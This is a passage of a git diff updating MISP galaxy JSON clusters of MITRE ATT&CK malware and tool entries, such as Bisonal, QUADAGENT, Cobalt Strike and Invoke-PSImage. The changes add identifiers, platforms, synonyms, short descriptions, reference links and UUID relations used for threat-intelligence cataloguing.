"c0df6533-30ee-4a4a-9c6d-17af5abdf0b2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e2907cea-4b43-4ed7-a570-0fdf0fbeea00", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "91ce1ede-107f-4d8b-bf4c-735e8789c94b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dd901512-6e37-4155-943b-453e3777b125", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2715c335-1bf2-4efe-9f18-0691317ff83b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "4b072c90-bc7a-432b-940e-016fc1c01761", + "value": "Keydnap - S0276" + }, + { + "description": "OBAD is an Android malware family. (Citation: TrendMicro-Obad)", + "meta": { + "external_id": "S0286", + "refs": [ + "https://attack.mitre.org/software/S0286", + "http://blog.trendmicro.com/trendlabs-security-intelligence/cybercriminals-improve-android-malware-stealth-routines-with-obad/" + ], + "synonyms": [ + "OBAD" + ] + }, + "related": [ + { + "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "82f04b1e-5371-4a6f-be06-411f0f43b483", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "ca4f63b9-a358-4214-bb26-8c912318cfde", + "value": "OBAD - S0286" + }, + { + "description": "[Bisonal](https://attack.mitre.org/software/S0268) is malware that has been used in attacks against targets in Russia, South Korea, and Japan. It has been observed in the wild since 2014. (Citation: Unit 42 Bisonal July 2018)", + "meta": { + "external_id": "S0268", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0268", + "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/" + ], + "synonyms": [ + "Bisonal" + ] + }, + "related": [ + { + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "65ffc206-d7c1-45b3-b543-f6b726e7840d", + "value": "Bisonal - S0268" + }, + { + "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) is a PowerShell backdoor used by [OilRig](https://attack.mitre.org/groups/G0049). (Citation: Unit 42 QUADAGENT July 2018)", + "meta": { + "external_id": "S0269", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0269", + "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + ], + "synonyms": [ + "QUADAGENT" + ] + }, + "related": [ + { + "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f24faf46-3b26-4dbb-98f2-63460498e433", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77", + "value": "QUADAGENT - S0269" + }, + { + "description": "FruitFly is designed to spy on mac users (Citation: objsee mac malware 2017).", + "meta": { + "external_id": "S0277", + "mitre_platforms": [ + "macOS" + ], + "refs": [ + "https://attack.mitre.org/software/S0277", + "https://objective-see.com/blog/blog_0x25.html" + ], + "synonyms": [ + "FruitFly" + ] + }, + "related": [ + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dd901512-6e37-4155-943b-453e3777b125", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dc27c2ec-c5f9-4228-ba57-d67b590bda93", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "4a98e44a-bd52-461e-af1e-a4457de87a36", + "value": "FruitFly - S0277" + }, + { + "description": "[ZergHelper](https://attack.mitre.org/software/S0287) is iOS riskware that was unique due to its apparent evasion of Apple's App Store review process. No malicious functionality was identified in the app, but it presents security risks. (Citation: Xiao-ZergHelper)", + "meta": { + "external_id": "S0287", + "refs": [ + "https://attack.mitre.org/software/S0287", + "http://researchcenter.paloaltonetworks.com/2016/02/pirated-ios-app-stores-client-successfully-evaded-apple-ios-code-review/" + ], + "synonyms": [ + "ZergHelper" + ] + }, + "related": [ + { + "dest-uuid": "b765efd1-02e6-4e67-aebf-0fef5c37e54b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6c49d50f-494d-4150-b774-a655022d20a6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "3c3b55a6-c3e9-4043-8aae-283fe96220c0", + "value": "ZergHelper - S0287" + }, + { + "description": "[iKitten](https://attack.mitre.org/software/S0278) is a macOS exfiltration agent (Citation: objsee mac malware 2017).", + "meta": { + "external_id": "S0278", + "mitre_platforms": [ + "macOS" + ], + "refs": [ + "https://attack.mitre.org/software/S0278", + "https://objective-see.com/blog/blog_0x25.html" + ], + "synonyms": [ + "iKitten", + "OSX/MacDownloader" + ] + }, + "related": [ + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "91ce1ede-107f-4d8b-bf4c-735e8789c94b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "18d4ab39-12ed-4a16-9fdb-ae311bba4a0f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dc27c2ec-c5f9-4228-ba57-d67b590bda93", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9e09ddb2-1746-4448-9cad-7f8b41777d6d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "2cfe8a26-5be7-4a09-8915-ea3d9e787513", + "value": "iKitten - S0278" + }, + { + "description": "[XcodeGhost](https://attack.mitre.org/software/S0297) is iOS malware that infected at least 39 iOS apps in 2015 and potentially affected millions of users. (Citation: PaloAlto-XcodeGhost1) (Citation: PaloAlto-XcodeGhost)", + "meta": { + "external_id": "S0297", + "refs": [ + "https://attack.mitre.org/software/S0297", + "http://researchcenter.paloaltonetworks.com/2015/09/novel-malware-xcodeghost-modifies-xcode-infects-apple-ios-apps-and-hits-app-store/", + "http://researchcenter.paloaltonetworks.com/2015/09/update-xcodeghost-attacker-can-phish-passwords-and-open-urls-though-infected-apps/" + ], + "synonyms": [ + "XcodeGhost" + ] + }, + "related": [ + { + "dest-uuid": "c4b96c0b-cb58-497a-a1c2-bb447d79d692", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0d95940f-9583-4e0f-824c-a42c1be47fad", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "d9e07aea-baad-4b68-bdca-90c77647d7f9", + "value": "XcodeGhost - S0297" + }, + { + "description": "[Proton](https://attack.mitre.org/software/S0279) is a macOS backdoor focusing on data theft and credential access (Citation: objsee mac malware 2017).", + "meta": { + "external_id": "S0279", + "mitre_platforms": [ + "macOS" + ], + "refs": [ + "https://attack.mitre.org/software/S0279", + "https://objective-see.com/blog/blog_0x25.html" + ], + "synonyms": [ + "Proton" + ] + }, + "related": [ + { + "dest-uuid": "dd901512-6e37-4155-943b-453e3777b125", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2169ba87-1146-4fc7-a118-12b72251db7e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "91ce1ede-107f-4d8b-bf4c-735e8789c94b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "54a649ff-439a-41a4-9856-8d144a2551ba", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "c541efb4-e7b1-4ad6-9da8-b4e113f5dd42", + "value": "Proton - S0279" + }, + { + "description": "[KeyRaider](https://attack.mitre.org/software/S0288) is malware that steals Apple account credentials and other data from jailbroken iOS devices. It also has ransomware functionality. (Citation: Xiao-KeyRaider)", + "meta": { + "external_id": "S0288", + "refs": [ + "https://attack.mitre.org/software/S0288", + "http://researchcenter.paloaltonetworks.com/2015/08/keyraider-ios-malware-steals-over-225000-apple-accounts-to-create-free-app-utopia/" + ], + "synonyms": [ + "KeyRaider" + ] + }, + "related": [ + { + "dest-uuid": "3b0b604f-10db-41a0-b54c-493124d455b9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "3bc1f0ad-ef11-4afc-83c0-fcffe08d4e50", + "value": "KeyRaider - S0288" + }, + { + "description": "[NotCompatible](https://attack.mitre.org/software/S0299) is an Android malware family that was used between at least 2014 and 2016. It has multiple variants that have become more sophisticated over time. (Citation: Lookout-NotCompatible)", + "meta": { + "external_id": "S0299", + "refs": [ + "https://attack.mitre.org/software/S0299", + "https://blog.lookout.com/blog/2014/11/19/notcompatible/" + ], + "synonyms": [ + "NotCompatible" + ] + }, + "related": [ + { + "dest-uuid": "22379609-a99f-4a01-bd7e-70f3e105859d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "23040c15-e7d8-47b5-8c16-8fd3e0e297fe", + "value": "NotCompatible - S0299" } ], - "version": 7 + "version": 10 } diff --git a/clusters/mitre-tool.json b/clusters/mitre-tool.json index 2893867..b5da5fe 100644 --- a/clusters/mitre-tool.json +++ b/clusters/mitre-tool.json @@ -10,39 +10,76 @@ "uuid": "d700dc5c-78f6-11e7-a476-5f748c8e4fe0", "values": [ { - "description": "Windows Credential Editor is a password dumping tool.[[Citation: Amplia WCE]]\n\nAliases: Windows Credential Editor, WCE", + "description": "[Windows Credential Editor](https://attack.mitre.org/software/S0005) is a password dumping tool. (Citation: Amplia WCE)", "meta": { + "external_id": "S0005", + "mitre_platforms": [ + "Windows" + ], "refs": [ - "https://attack.mitre.org/wiki/Software/S0005", + "https://attack.mitre.org/software/S0005", "http://www.ampliasecurity.com/research/wcefaq.html" ], "synonyms": [ "Windows Credential Editor", "WCE" - ], - "uuid": "242f3da3-4425-4d11-8f5c-b842886da966" + ] }, - "value": "Windows Credential Editor" + "related": [ + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "242f3da3-4425-4d11-8f5c-b842886da966", + "value": "Windows Credential Editor - S0005" }, { - "description": "Pass-The-Hash Toolkit is a toolkit that allows an adversary to \"pass\" a password hash (without knowing the original password) to log in to systems.[[Citation: Mandiant APT1]]", + "description": "[Pass-The-Hash Toolkit](https://attack.mitre.org/software/S0122) is a toolkit that allows an adversary to \"pass\" a password hash (without knowing the original password) to log in to systems. (Citation: Mandiant APT1)", "meta": { + "external_id": "S0122", + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], "refs": [ - "https://attack.mitre.org/wiki/Software/S0122", + "https://attack.mitre.org/software/S0122", "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" ], - "uuid": "a52edc76-328d-4596-85e7-d56ef5a9eb69" + "synonyms": [ + "Pass-The-Hash Toolkit" + ] }, - "value": "Pass-The-Hash Toolkit" + "related": [ + { + "dest-uuid": "c23b740b-a42b-47a1-aec2-9d48ddd547ff", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "a52edc76-328d-4596-85e7-d56ef5a9eb69", + "value": "Pass-The-Hash Toolkit - S0122" }, { - "description": "Cobalt Strike is a commercial, full-featured, penetration testing tool which bills itself as “adversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors”. Cobalt Strike’s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system.Cobalt Strike leverages the capabilities of other well-known tools such as Metasploit and Mimikatz.[[Citation: cobaltstrike manual]]\n\nThe list of techniques below focuses on Cobalt Strike’s ATT&CK-relevant tactics.", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) is a commercial, full-featured, penetration testing tool which bills itself as “adversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors”. Cobalt Strike’s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system. (Citation: cobaltstrike manual)\n\nIn addition to its own capabilities, [Cobalt Strike](https://attack.mitre.org/software/S0154) leverages the capabilities of other well-known tools such as Metasploit and [Mimikatz](https://attack.mitre.org/software/S0002). (Citation: cobaltstrike manual)", "meta": { + "external_id": "S0154", + "mitre_platforms": [ + "Windows" + ], "refs": [ - "https://attack.mitre.org/wiki/Software/S0154", + "https://attack.mitre.org/software/S0154", "https://cobaltstrike.com/downloads/csmanual38.pdf" ], - "uuid": "3da22160-12d9-4d27-a99f-338e8de3844a" + "synonyms": [ + "Cobalt Strike" + ] }, "related": [ { @@ -53,7 +90,7 @@ "type": "similar" }, { - "dest-uuid": "aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "dest-uuid": "3da22160-12d9-4d27-a99f-338e8de3844a", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], @@ -65,158 +102,340 @@ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" 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+ "dest-uuid": "1c338d0f-a65e-4073-a5c1-c06878849f21", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c8e87b83-edbb-48d4-9295-4974897525b7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c3bce4f4-9795-46c6-976e-8676300bbc39", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "00d0b012-8a03-410e-95de-5826bf542de6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "54a649ff-439a-41a4-9856-8d144a2551ba", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "99709758-2b96-48f2-a68a-ad7fbd828091", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "51dea151-0898-4a45-967c-3ebee0420484", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "772bc7a8-a157-42cc-8728-d648e25c7fe7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ffe742ed-9100-4686-9e00-c331da544787", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "Cobalt Strike" + "uuid": "aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "value": "Cobalt Strike - S0154" }, { - "description": "UACMe is an open source assessment tool that contains many methods for bypassing Windows User Account Control on multiple versions of the operating system.[[Citation: Github UACMe]]", + "description": "[Invoke-PSImage](https://attack.mitre.org/software/S0231) takes a PowerShell script and embeds the bytes of the script into the pixels of a PNG image. It generates a one liner for executing either from a file of from the web. Example of usage is embedding the PowerShell code from the Invoke-Mimikatz module and embed it into an image file. By calling the image file from a macro for example, the macro will download the picture and execute the PowerShell code, which in this case will dump the passwords. (Citation: GitHub Invoke-PSImage)", "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0116", - "https://github.com/hfiref0x/UACME" + "external_id": "S0231", + "mitre_platforms": [ + "Windows" ], - "uuid": "102c3898-85e0-43ee-ae28-62a0a3ed9507" + "refs": [ + "https://attack.mitre.org/software/S0231", + "https://github.com/peewpw/Invoke-PSImage" + ], + "synonyms": [ + "Invoke-PSImage" + ] }, "related": [ { - "dest-uuid": "ccde5b0d-fe13-48e6-a6f4-4e434ce29371", + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" + "type": "uses" } ], - "value": "UACMe" + "uuid": "b52d6583-14a2-4ddc-8527-87fd2142558f", + "value": "Invoke-PSImage - S0231" }, { - "description": "HTRAN is a tool that proxies connections through intermediate hops and aids users in disguising their true geographical location. It can be used by adversaries to hide their location when interacting with the victim networks. [[Citation: Operation Quantum Entanglement]]\n\nAliases: HTRAN, HUC Packet Transmit Tool", + "description": "[ipconfig](https://attack.mitre.org/software/S0100) is a Windows utility that can be used to find information about a system's TCP/IP, DNS, DHCP, and adapter configuration. (Citation: TechNet Ipconfig)", "meta": { + "external_id": "S0100", + "mitre_platforms": [ + "Windows" + ], "refs": [ - "https://attack.mitre.org/wiki/Software/S0040", - "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf" + "https://attack.mitre.org/software/S0100", + "https://technet.microsoft.com/en-us/library/bb490921.aspx" ], "synonyms": [ - "HTRAN", - "HUC Packet Transmit Tool" - ], - "uuid": "d5e96a35-7b0b-4c6a-9533-d63ecbda563e" + "ipconfig", + "ipconfig.exe" + ] }, "related": [ { - "dest-uuid": "3fb18a77-91ef-4c68-a9a9-fa6bdbea38e8", + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" + "type": "uses" } ], - "value": "HTRAN" + "uuid": "294e2560-bd48-44b2-9da2-833b5588ad11", + "value": "ipconfig - S0100" }, { - "description": "Arp displays information about a system's 